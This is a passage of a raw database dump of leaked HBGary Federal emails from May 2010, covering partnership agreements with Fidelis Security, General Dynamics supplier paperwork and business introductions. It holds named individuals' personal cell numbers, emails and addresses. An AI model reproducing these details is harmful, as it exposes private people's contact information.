\r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary_Fidelis_NDA_executed_05242010.pdf&gt;&lt;HBGaryFederal_Fidelis_TAP_Executed05242010.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6481,'aaron_hbgary_com/6481.html'),(6764,'2010-05-27','\"Pete Johnson\" <pete.johnson@pointabout.com>','/aaron@hbgary.com/new/1297004876.M918862P14101Q1619.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Hi Aaron, of course feel free to give me a call anytime.  My cell is 301-602-1210.  We are coming in as a sub on a few government contracts. Regards,PeteOn Thu, May 27, 2010 at 9:06 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi PointAbout,\r\n\r\nI have been doing a little bit of research on local DC talent for mobile development and found you guys, turns out I actually have a few of your apps on my iPhone.\r\n\r\nMy company is the sister company to HBGary Inc. focused on malware analysis, incident response, and information operations products and services.  But the reason for writing you is I have about 7 years experience in the web and mobile app and services space as well and have some interesting ideas.  It was all work done for the government so while I think I have a vision for the direction of mobile information and services (the most important market going forward IMO).  I don&#39;t know the people or processes in the purely commercial space.\r\n\r\n\r\nI would like to exchange an NDA and come talk to you guys about the mobile space.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Pete JohnsonVice President, Professional ServicesMobile:  301-602-1210\r\n\r\n',5821,'aaron_hbgary_com/5821.html'),(6765,'2010-05-27','\"Griswold, Christine\" <Christine.Griswold@gdc4s.com>','/aaron@hbgary.com/new/1297004879.M472635P14101Q1620.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','FW: Supplier 452174 Approved','\r\n\r\n\r\n\r\n\r\nFW: Supplier 452174 Approved\r\n\r\n\r\n\r\n\r\n\r\n &lt;&lt;452174.doc&gt;&gt;  &lt;&lt;Instructions_RepsCerts_2009-11.doc&gt;&gt; \r\n\r\nPlease complete the document as soon as possible and return the soft copy to Kim Hoagland and myself.\r\n\r\n\r\nSincerely,\r\n\r\nCHRISTINE GRISWOLD\r\n\r\nchristine.griswold@gdc4s.com\r\n\r\nGeneral Dynamics C4 Systems\r\n\r\n400 John Quincy Adams Rd.\r\n\r\nTaunton Ma 02780\r\n\r\nP# 508-880-4154\r\n\r\nF# 508-880-2223\r\n\r\n\r\n______________________________________________ \r\n\r\nFrom: &nbsp; Hoagland, Kimberly A. [mailto:Kimberly.Hoagland@gd-ais.com] \r\n\r\nSent:&nbsp;&nbsp; Monday, May 24, 2010 3:20 PM\r\n\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Griswold, Christine\r\n\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FW: Supplier 452174 Approved\r\n\r\n\r\nPlease send out a Reps &amp; Certs package to this company.&nbsp; Thank you!&nbsp; J\r\n\r\n\r\nAaron Barr [aaron@hbgary.com]\r\n\r\nTed Vera [ted@hbgary.com]\r\n\r\n\r\n \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr. Specialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction, MD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n \r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient and may contain confidential and privileged information. Any unauthorized review, use, disclosure, or distribution is prohibited. If you are not an intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message.\r\n\r\n\r\n_____________________________________________\r\nFrom: Bradley, Barbara L.\r\nSent: Monday, May 24, 2010 3:19 PM\r\nTo: Hoagland, Kimberly A.\r\nCc: Griswold, Christine (EXT) (GDC4S)\r\nSubject: Supplier 452174 Approved\r\n\r\n\r\n\r\nSupplier 452174, HBGary, Inc, has been approved in ESM and IFS.\r\n\r\n\r\nBarbara Bradley\r\n\r\nCalibration Recall System Coordinator\r\n\r\nSupplier Quality Administrator\r\n\r\nGeneral Dynamics - Cyber Systems-IS\r\n\r\n7-9 Vreeland Road\r\n\r\nFlorham Park, NJ&nbsp; 07932\r\n\r\nPhone - 973-765-5584\r\n\r\nFax - 973-765-5952\r\n\r\n\r\n\r\n\r\n',658,'aaron_hbgary_com/658.html'),(6766,'2010-05-27','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297004879.M796430P14101Q1621.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Aaron,\r\n\r\nGive me a ring today (cell below).\r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, May 27, 2010 9:07 AM\r\nTo: info@PointAbout.com\r\nSubject: Introduction\r\n\r\nHi PointAbout,\r\n\r\nI have been doing a little bit of research on local DC talent for mobile\r\ndevelopment and found you guys, turns out I actually have a few of your apps\r\non my iPhone.\r\n\r\nMy company is the sister company to HBGary Inc. focused on malware analysis,\r\nincident response, and information operations products and services.  But\r\nthe reason for writing you is I have about 7 years experience in the web and\r\nmobile app and services space as well and have some interesting ideas.  It\r\nwas all work done for the government so while I think I have a vision for\r\nthe direction of mobile information and services (the most important market\r\ngoing forward IMO).  I don\'t know the people or processes in the purely\r\ncommercial space.\r\n\r\nI would like to exchange an NDA and come talk to you guys about the mobile\r\nspace.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n14:26:00\r\n\r\n',8868,'aaron_hbgary_com/8868.html'),(6767,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004880.M259773P14101Q1623.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: HBGary Federal','Ted@HBGary.comSent from my iPadOn May 27, 2010, at 9:54 AM, &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt; wrote:\r\n\r\n\r\n\r\n\r\ntvera@hbgary.com?  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, May 27, 2010 9:27 AM\r\nTo: Etue, David\r\nSubject: Re: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nTed vera\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 27, 2010, at 9:22 AM, &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWho’s\r\nname should we create the portal login in?  \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, May 26, 2010 4:24 PM\r\nTo: Etue, David\r\nSubject: Re: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSweet.\r\n We have been playing with the EGS interface today, working pretty well.\r\n An active defense server is being shipped to our Colorado Springs office\r\nas we speak.  Once we have access to the Fidelis VMs we will start working\r\non the integration.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSee\r\nyou tomorrow.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMay 26, 2010, at 4:18 PM, Etue, David wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nExecuted\r\nagreements attached!\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Moynahan, Seana \r\n\r\nSent: Wednesday, May 26,\r\n2010 3:23 PM\r\nTo: Etue, David\r\nCc: Kraemer, Gary\r\nSubject: FW: HBGary\r\nFederal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHi\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nlet me know if I should forward these along elsewhere…\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Moynahan, Seana \r\n\r\nSent: Monday, May 24, 2010\r\n5:09 PM\r\nTo: Etue, David\r\nCc: Kraemer, Gary\r\nSubject: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHi David,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPer Gary K, please\r\nsee attached TAP and NDA, executed.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary_Fidelis_NDA_executed_05242010.pdf&gt;&lt;HBGaryFederal_Fidelis_TAP_Executed05242010.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3562,'aaron_hbgary_com/3562.html'),(6768,'2010-05-27','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004880.M30528P14101Q1622.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\ntvera@hbgary.com?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, May 27, 2010 9:27 AM\r\nTo: Etue, David\r\nSubject: Re: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTed vera\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 27, 2010, at 9:22 AM, &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWho&#8217;s\r\nname should we create the portal login in?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 26, 2010 4:24 PM\r\nTo: Etue, David\r\nSubject: Re: HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSweet.\r\n&nbsp;We have been playing with the EGS interface today, working pretty well.\r\n&nbsp;An active defense server is being shipped to our Colorado Springs office\r\nas we speak. &nbsp;Once we have access to the Fidelis VMs we will start working\r\non the integration.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee\r\nyou tomorrow.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMay 26, 2010, at 4:18 PM, Etue, David wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nExecuted\r\nagreements attached!\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Moynahan, Seana&nbsp;\r\nSent:&nbsp;Wednesday, May 26,\r\n2010 3:23 PM\r\nTo:&nbsp;Etue, David\r\nCc:&nbsp;Kraemer, Gary\r\nSubject:&nbsp;FW: HBGary\r\nFederal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nlet me know if I should forward these along elsewhere&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Moynahan, Seana&nbsp;\r\nSent:&nbsp;Monday, May 24, 2010\r\n5:09 PM\r\nTo:&nbsp;Etue, David\r\nCc:&nbsp;Kraemer, Gary\r\nSubject:&nbsp;HBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi David,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPer Gary K, please\r\nsee attached TAP and NDA, executed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKindest,\r\n\r\n\r\n\r\n\r\n\r\nSeana\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary_Fidelis_NDA_executed_05242010.pdf&gt;&lt;HBGaryFederal_Fidelis_TAP_Executed05242010.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3425,'aaron_hbgary_com/3425.html'),(6769,'2010-05-27','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297004880.M523350P14101Q1624.eml','\"Bertone, Kurt\" <kurt.bertone@fidelissecurity.com>,\"Bertone, Kurt\" <kurt.bertone@fidelissecurity.com>','RE: Enabling HB Gary Incident Response Teams with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nKurt,\r\n\r\n&nbsp;\r\n\r\nThe portal account should be for:\r\n\r\n&nbsp;\r\n\r\nTed Vera&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nTed@HBGary.com\r\n\r\n&nbsp;\r\n\r\nWill Jon confirm with you, Aaron, Ted and I when complete?&nbsp;\r\nIt needs access to CommandPost VM, Direct VM, API guide and product\r\ndocumentation.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Tuesday, May 25, 2010 5:22 PM\r\nTo: \'Aaron Barr\'\r\nCc: Bertone, Kurt; Benedetti, Gary; Kraemer, Gary; Sweeney, Stacey;\r\nMancini, Jerry; Harvey, Kevin\r\nSubject: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks for your time to discuss how we can work together to\r\nintegrate Fidelis XPS in a Scout form factor into your incident response\r\nofferings at HB Gary Federal.&nbsp; I would like to bring some of the broader\r\nFidelis team into the discussion (cc&#8217;d on this e-mail), and work on some next\r\nsteps. \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAgreements &#8211; you should have received\r\ncounter-signed partner agreements back from Gary Kramer (CFO).&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccess to VMs and API guide &#8211; with the signed\r\nagreement, you will get a portal account.&nbsp; Kurt Bertone (VP, Strategic\r\nAlliances) will ensure the portal account process gets kicked off.&nbsp; Should\r\nwe issue you the account, or is there a technical lead on your team whose name\r\nwe should put the account it?&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI&#8217;d recommend you download and install Fidelis\r\nXPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be almost\r\nidentical in functionality to the Scout platform. \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS CommandPost VM requirements: VMware vSphere, 2 vCPU, 2GB memory, 100GB HDD,\r\n1 vNIC\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS Direct VM requirements:&nbsp; VMware vSphere, 8 vCPU, 16GB memory, 30GB\r\nHDD, 4 vNICs\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe API guide will be included, and covers the\r\nvarying integration scenarios.&nbsp; Kurt and Jerry Mancini (VP,\r\nEngineering) can organize resources to provide technical support on the\r\nAPI.&nbsp; Our file extraction API is changing to make it much easier with our\r\n6.2 release, so it may make sense to schedule a call with Jerry to\r\ndiscuss.&nbsp; I&#8217;ve also attached the latest version of my proposed integration\r\nguide in case its useful.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTraining &#8211; Fidelis will provide a complimentary\r\ntechnical training session either in Bethesda or web-based, depending which is\r\npreferred for the HB Gary Federal team, led by Kevin Harvey (Senior Sales\r\nEngineer), with assistance from Jerry on the API.&nbsp; &nbsp;There is also\r\na chance that Kevin may be in Colorado Springs, so we may be able to have that\r\nas the location.&nbsp; Getting dates confirmed quickly will be important\r\nto meet the aggressive launch date.\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketing Launch &#8211; Stacey Sweeney (VP,\r\nMarketing) will lead this from the Fidelis side. &nbsp;I&#8217;ve discussed\r\nsupporting FIRST in mid-June, so we&#8217;d need to move quickly.&nbsp; We&#8217;d like to\r\nget HB Gary featured on our partner web site with a description of the incident\r\nresponse offerings, and would also be interested in a joint press release.&nbsp;\r\nWe also likely could provide some collateral on our products for the\r\nevent.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProcuring a Scout &#8211; As we discussed, we are very\r\nexcited about the Scout driving incident response opportunities.&nbsp; In order\r\nto best determine how this business model will work, we propose that we make\r\navailable a Scout at an aggressive discount with a 3-6 month license\r\nincluded.&nbsp; At the end of the included license period, we get together and\r\nmutually review the results and determine how best to license the system moving\r\nforward.&nbsp; Given your reseller / leave behind proposal interests, I think\r\nthere could be a lot of potentially models. As I mentioned, we have the ability\r\nto be very aggressive on the Scout 1 cu ft form factor, as we are transitioning\r\nto a laptop-based model.&nbsp; Kurt, Gary and I will lead this process\r\nfrom Fidelis.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReseller / leave behind proposal &#8211; I see two\r\ndifferent opportunities here, and they aren&#8217;t mutually exclusive.&nbsp; Kurt\r\nleads our Channel Partner program and can provide details on becoming an\r\nauthorized reseller.&nbsp; Additionally, since you are primarily targeting\r\nfederal customers, it may be difficult for HB Gary Federal to sell the solution\r\nwithout access to particular contract vehicles.&nbsp; We also have a referral\r\nagreement program, lead out of our sales organizations.&nbsp; Gary Benedetti\r\n(VP, Sales) can provide the details. I&#8217;d suggest that we schedule a call\r\nbetween the four of us to discuss next steps, as one or more may make\r\nsense.&nbsp; Aaron &#8211; can you provide a few times you have available in\r\nthe next week?&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&#8220;Go to market plan&#8221; &#8211; we like to put together a\r\nvery simple document so that we understand the goals and objectives of the\r\npartnership.&nbsp; This shouldn&#8217;t be more than 2 pages, covering roadmap and\r\nrules of engagement document so we know how to engage in the field.&nbsp;\r\nGary Benedetti and I can help on the Fidelis side.&nbsp; We&#8217;ll start the\r\ntemplate and provide it to you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe are excited about this offering and look forward to\r\nhelping launch it!\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416 East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15900,'aaron_hbgary_com/15900.html'),(6770,'2010-05-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004882.M813534P14101Q1625.eml','\"Barr Aaron\" <aaron@hbgary.com>','Haha','\r\n\r\n',13462,'aaron_hbgary_com/13462.html'),(6771,'2010-05-27','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004883.M109841P14101Q1626.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Small Business Type','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nI haven&#8217;t heard\r\nback from you.&nbsp; Please advise ASAP!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr. Specialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction,\r\nMD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly A. \r\nSent: Thursday, May 27, 2010 7:43 AM\r\nTo: \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: Small Business Type\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron/Ted,\r\n\r\n&nbsp;\r\n\r\nI haven&#8217;t\r\nreceived your Reps &amp; Certs back so I need to ask what type of business are\r\nyou: Small Business?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n*Supplier Category: (Check all\r\nthat apply) (Incorporated by reference: FAR 52.219-1, FAR\r\n52.212-3,\r\nFAR 52.204-5, DFARS 252.226-7000,\r\n\r\nDFARS 225.003) Note: It is a criminal offense to make false\r\nstatements or misrepresent a firm&#8217;s status as a small business concern.\r\nPenalties\r\n\r\nare\r\nprescribed under 15 U.S.C. 645(d). Note: Effective 10/3/08, suppliers that qualify as SDB&#8217;s can\r\nself-certify their status (see 13 CFR Part 124).\r\n\r\n&nbsp;\r\n\r\nForeign\r\n\r\nGeneral Dynamics Owned\r\n\r\nLarge Business\r\n\r\nSmall Business\r\n\r\nMinority Owned\r\n\r\nWoman Owned\r\n\r\nSmall Disadvantaged Business\r\n\r\nHUB Zone (certified)\r\n\r\nVeteran\r\n\r\nService Disabled Veteran\r\n\r\nHBCU / MI\r\n\r\nAlaskan Native Corporation\r\n\r\nIndian\r\nTribe\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction,\r\nMD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient and\r\nmay contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6799,'aaron_hbgary_com/6799.html'),(6772,'2010-05-27','\"The Splunk Team\" <newsletter@splunk.com>','/aaron@hbgary.com/new/1297004883.M367899P14101Q1627.eml','aaron@hbgary.com','Splunk Users\' Conference-5 Reasons Your Organization Needs You There','\r\n\r\n \r\n    \r\n   Splunk \r\n    \r\n      body {\r\n      	background-color: #EEEEEE;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      p a {\r\n      	color: #2982A7;\r\n      	text-decoration: none;\r\n      }\r\n      td.permission {\r\n      	padding: 8px 0 8px 0;\r\n      }\r\n      td.date {\r\n      	padding: 0 0 4px 0;\r\n      }\r\n      td.permission p {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #151515;\r\n      	text-align: center;\r\n      }\r\n      td.permission a {\r\n      	color: #9f9862;\r\n      	text-decoration: none;\r\n      }\r\n    \r\n      table.bg {\r\n      	background-color: #ffffff;\r\n      }\r\n      table.intro td {\r\n      	height: 